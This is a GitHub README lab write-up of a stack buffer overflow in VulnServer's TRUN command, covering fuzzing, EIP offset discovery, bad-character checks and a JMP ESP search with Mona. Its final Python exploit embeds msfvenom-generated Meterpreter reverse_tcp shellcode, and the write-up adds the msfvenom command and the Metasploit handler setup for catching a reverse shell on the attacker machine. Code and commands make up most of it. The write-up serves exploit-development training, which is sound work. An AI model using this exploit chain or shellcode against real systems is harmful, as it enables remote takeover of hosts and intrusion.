Skip to content

Latest commit

 

History

76 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Binary-Exploitation-Lab

CyberLab-15

image

Overview

Buffer overflows are a class of memory-corruption vulnerabilities that occur when a program writes beyond the boundaries of an allocated memory, corrupting adjacent memory and changing program execution.

This project examines a vulnerable Windows application in a controlled laboratory environment using VulnServer and Immunity Debugger. The analysis focuses on how malformed input can expose a memory corruption condition.

The writeup follows the vulnerability-analysis process from fuzzing and crash reproduction to EIP control, and memory analysis, providing a practical foundation for understanding Windows binary exploitation and exploit development.

Environment

1- Kali Linux (Attacker).
2- Windows Machine.
3- VulnServer. (https://github.com/stephenbradshaw/vulnserver)
4- Immunity Debugger. (https://github.com/kbandla/ImmunityDebugger/tree/master/1.85)

Exploitation Steps

The exploitation process is divided into the following stages:

  • Environment Setup
  • Fuzzing & Analyzing
  • Determining control over the EIP register
  • Identifying bad characters & Finding JMP ESP with MONA
  • Generating payload components with MSFvenom
  • The final exploit

Technical Background

Before analyzing the vulnerability, it is important to understand how the relevant parts of process memory work. A program uses different memory regions, but for this project the stack is the most important because it is where the vulnerable buffer is located.

Before looking at how buffer overflows occur, it is useful to understand the basic process of a program’s memory. The main memory regions are:

  • Code: Contains the instructions executed by the CPU.
  • Data: Stores global and static variables.
  • Heap: Handles memory that is allocated dynamically during program execution.
  • Stack: Manages function execution and stores local variables, saved registers, and return addresses.

Important Registers the stack is managed by:

  • ESP (Stack Pointer): Points to the current top of the stack and changes as values are pushed and removed.
  • EBP (Base Pointer): Provides a stable reference point for the current stack frame and is commonly used to access local variables and function arguments.
  • EIP (Instruction Pointer): Holds the address of the next instruction the CPU will execute.

image

Buffer Overflow types:

  • A stack-based buffer overflow occurs when more data is written to a buffer than it can hold. The excess data can overwrite nearby values on the stack, potentially reaching the saved EBP and return address. The return address determines where the program continues execution after a function returns. If it is overwritten, the attacker may be able to influence EIP and alter the program's execution flow.

  • A Heap-based overflows are based on the same principle writing beyond an allocated buffer but their exploitation is generally more complex because of the dynamic allocation of heap memory.

image

Notes:

  • VulnServer is is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.
  • Immunity Debugger is a specialized Windows user-mode software debugger designed for vulnerability research, reverse engineering, malware analysis, and exploit development.

In this project, the focus is on stack-based exploitation.


Technical Analysis

Step-1 (Environment Setup):

1- Power-On your Kali (192.168.38.130).
2- Download & Run the VulnServer on a windows machine (192.168.38.129).
3- Download & Install Immunity Debugger (Run as Aministrator).
4- Make sure to make both machines on the same virtual network (NAT is fine).
5- Disable Windows defender & Firewall.

image image
nc -nv 192.168.38.129 9999
  • Note: Netcat (nc) is a command-line utility used to establish TCP connections between systems. It can be used to connect to a specific IP address and port, making it useful for testing network services and interacting with applications.

  • Open Immunity Debugger as Administrator:

    image image image
  • Note that VulnServer provides multiple commands that are vulnerable to buffer overflow attacks. For this project, we will focus on the TRUN command.

Step-2 (Fuzzing & Analyzing):

  • Fuzzing is an automated testing technique that sends large amounts of unexpected or malformed data to an application to identify crashes or unexpected behavior.

In this stage, we will use a Python script to send a large amount of A characters to the TRUN command and observe when the application crashes.

#!/usr/bin/python

import socket
server = '192.168.38.129' #ChangeThis
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
  • We can now try Fuzzing by this script:
python2 Buffer.py
image image image
  • We will repeat the test with different input sizes until the application crashes. In this case, the crash occurs at 2,500 bytes. At this stage, we have confirmed the presence of a stack-based buffer overflow and achieved memory corruption.

Step-3 (Determining control over the EIP register):

  • To determine the exact offset at which the EIP register is overwritten, we will send a cyclic pattern instead of a sequence of As. When the application crashes, we can examine the value stored in EIP and use the pattern to calculate the exact number of bytes required to reach and overwrite it.

Cyclic pattern: A unique sequence of characters used to determine the exact number of bytes needed to reach a specific location in memory, such as EIP.

msf-pattern_create -l 2500
image
!/usr/bin/python3
import socket

s = socket.socket()
s.connect(("192.168.38.129", 9999)) #ChangeThis

total_length = 2500

payload = [
        b"TRUN /.:/",      b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D" #ChangeThis
              
]
 
payload = b"".join(payload)

s.send(payload)

s.close()
  • Run this new script and return to the debugger to see the unique Bytes where the crash takes place:

    image
  • Copy 386F4337 and on your kali run this to get the exact EIP offset:

    msf-pattern_offset -l 2500 -q 386F4337
    image

Step-4 (Identifying bad characters & Finding JMP ESP with MONA):

  • This exploit works by putting data into a memory area that was not designed to hold it, allowing us to overwrite information and potentially change the program’s execution flow.

  • After gaining control over EIP, the next step is to identify bad characters that could interfere with our payload. Certain bytes may be modified by the VulnServer. We test a range of byte values and examine the resulting data in Immunity Debugger. By comparing the bytes sent with the bytes stored in memory, we can identify which characters are causing problems and exclude it from the payload.

  • With control over EIP, our payload is stored in memory near the address pointed to by ESP, so we need an instruction that redirects execution to that location. A common instruction used for this purpose is JMP ESP, which jumps to the address currently stored in ESP.

  • We can use Mona to search the executable modules loaded by VulnServer for suitable instructions and addresses.

Mona is a plugin for Immunity Debugger that helps with exploit development such as module addresses, instructions like JMP ESP, and other information

  • Download Mona and Copy it to the follwoing C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands.
!mona modules
  • The goal is to find a module with ASLR and Rebase disabled. ASLR randomizes the module's memory address, while Rebase can cause the module to be relocated. Using a module with both protections disabled gives us a more predictable address to work with.
image
  • In the module list, both vulnserver.exe and essfunc.dll have ASLR = False and Rebase = False. However, the addresses used by vulnserver.exe begin with 0x00. Since 0x00 is one of the bad characters identified earlier, addresses from this module cannot be reliably used.

Therefore, essfunc.dll is selected as the suitable module. We can now search it for a usable instruction such as JMP ESP.

!mona find -s "\xff\xe4" -m essfunc.dll
image
  • We found 9 locations and will go with 625011AF(0x625011af).

Step-5 (Generating payload components with MSFvenom):

  • generating Shellcode by MSFvenom: (This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 4444)
msfvenom -p windows/meterpreter/reverse_tcp LHOST= Kali_IP LPORT=4444 -b"\x00" -f py
image
  • Final Python script for exploitation:
 #!/usr/bin/python3
import socket
import struct 

s = socket.socket()
s.connect(("192.168.38.129", 9999))

total_length = 2500
offset = 2003
New_EIP = struct.pack("<I", 0x625011af)

nop_sled = b"\x90" * 16

buf =  b""
buf += b"\xbb\x66\x9a\xf5\x08\xdb\xcf\xd9\x74\x24\xf4\x5e"
buf += b"\x31\xc9\xb1\x59\x83\xee\xfc\x31\x5e\x11\x03\x5e"
buf += b"\x11\xe2\x93\x66\x1d\x98\x5b\x97\xde\xf9\xd2\x72"
buf += b"\xef\x2b\x80\xf7\x42\xfc\xc3\x5a\x6f\x77\x81\x4e"
buf += b"\x60\x30\x6f\x4b\xf5\x4c\x47\x2c\x30\x7e\x33\x86"
buf += b"\x72\x40\x97\x1b\x14\x3c\xe5\x4f\xf6\x7d\x26\x82"
buf += b"\xf7\xba\xf1\xe8\x18\x16\x56\x98\xb5\x87\xd3\xdc"
buf += b"\x05\xa9\x33\x6b\x35\xd1\x36\xac\xc2\x6b\x39\xfd"
buf += b"\x7b\xe7\x71\xe5\xf0\xaf\xa1\x14\xd4\xd5\x68\x62"
buf += b"\xe0\x5e\x17\x73\x5d\xea\xd3\x08\x5f\x3a\x2a\xcf"
buf += b"\xcc\x03\x83\xc2\x0d\x43\x23\x3d\x78\xbf\x68\xc0"
buf += b"\xa7\x4a\x6c\x62\x23\xec\x54\x92\xe0\x6b\x1f\x98"
buf += b"\x4d\xff\x47\xbd\x50\x2c\xfc\xb9\xd9\xd3\xd2\x4b"
buf += b"\x99\xf7\xf6\x10\x79\x99\xaf\xfc\x2c\xa6\xaf\x59"
buf += b"\x90\x02\xa4\x48\xc7\xcc\x45\x93\xe8\x6e\xd1\x5f"
buf += b"\x25\x91\x21\xc8\x3e\xe2\x13\x57\x95\x6c\x3e\x8a"
buf += b"\x6b\xe1\x49\xbc\x6b\x29\xf1\xad\x95\xca\x01\xe7"
buf += b"\x51\x9e\x51\x9f\x55\x30\x12\xca\x99\x9b\xfe\xfe"
buf += b"\x0d\xe4\x56\xd8\x4f\x8c\xa4\x25\x41\x11\x21\xc3"
buf += b"\x31\xf9\x61\x5c\xf2\xa9\xc1\x0c\x9a\x84\x7f\x1a"
buf += b"\x2f\xe8\xaa\xf4\xba\x06\x02\xac\x52\xcc\x3d\x58"
buf += b"\xe7\xed\x94\xd8\x27\x65\x1c\x1c\xe9\x8e\x55\x0e"
buf += b"\x1e\xe9\x95\xce\xdf\x9c\x95\xa4\xdb\x36\xc2\x50"
buf += b"\x9f\x34\x6c\x81\xa0\xec\xef\x3a\x5e\x71\xd9\x31"
buf += b"\x69\xe7\x65\x2e\x96\xe7\x65\xae\xc0\x6d\x65\xc6"
buf += b"\x95\x6b\xc9\x7c\x99\x59\x82\xd2\x0f\x62\xf2\x87"
buf += b"\x98\x0a\x81\xa5\xa7\xea\x8a\x7f\x24\x14\x74\xfd"
buf += b"\x03\xbd\x1c\xfd\x13\x3d\xdc\x97\x93\x6d\xb4\x55"
buf += b"\xef\x72\xca\x65\xda\xda\xba\xe7\xe0\x81\x72\xe7"
buf += b"\x3e\x17\xdc\xe8\xcd\x8c\xef\x93\xbe\x33\x10\x64"
buf += b"\xd7\x57\x11\x64\xd7\x69\x2e\xb2\xee\x1f\x71\x06"
buf += b"\x55\xc8\x73\x1a\x1f\x9d\x73\x4f\x9f\xb7"

shellcode = buf

payload = [
b"TRUN /.:/",
b"A"*offset,
New_EIP,
nop_sled,
shellcode,
b"C"*(total_length-offset-len(New_EIP)-len(nop_sled)-len(shellcode))
]

payload = b"".join(payload)
s.send(payload)
s.close()
  • struct.pack("<I", 0x625011af) → converts the chosen 32-bit address into little-byte order so it can overwrite EIP correctly.
  • nop_sled = b"\x90" * 16 → adds 16 NOP instructions (0x90) before the shellcode. This gives execution a small landing area before reaching the shellcode.

Step-6 (The final exploit):

  • Let set the multihandler at Metasploit:
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.38.130
set LPORT 4444
run
image image image

WE GOT A METERPRETER SHELL !!!


Conclusion

  • Analyzed VulnServer and identified a stack-based buffer overflow in the TRUN command.
  • Used fuzzing to determine the approximate input size required to crash the application.
  • Used a cyclic pattern to determine the exact offset needed to overwrite the EIP register.
  • Used Mona with Immunity Debugger to analyze loaded modules and identify a suitable JMP ESP instruction.
  • Generated the required payload components using MSFvenom.
  • Developed the exploit python script.
  • Overall, this project provided practical experience with stack-based buffer overflows, x86 registers, memory corruption, debugging, exploit development, and payload generation.

Lessons Learned:

  • How stack-based buffer overflows can cause memory corruption.
  • Understood the roles of EIP, ESP, and EBP during program execution.
  • Learned how fuzzing can be used to identify crashes.
  • Learned how cyclic patterns help find the exact EIP offset.
  • Learned how to use Immunity Debugger and Mona for exploit development.
  • Gained practical experience analyzing crashes and building an exploit step by step.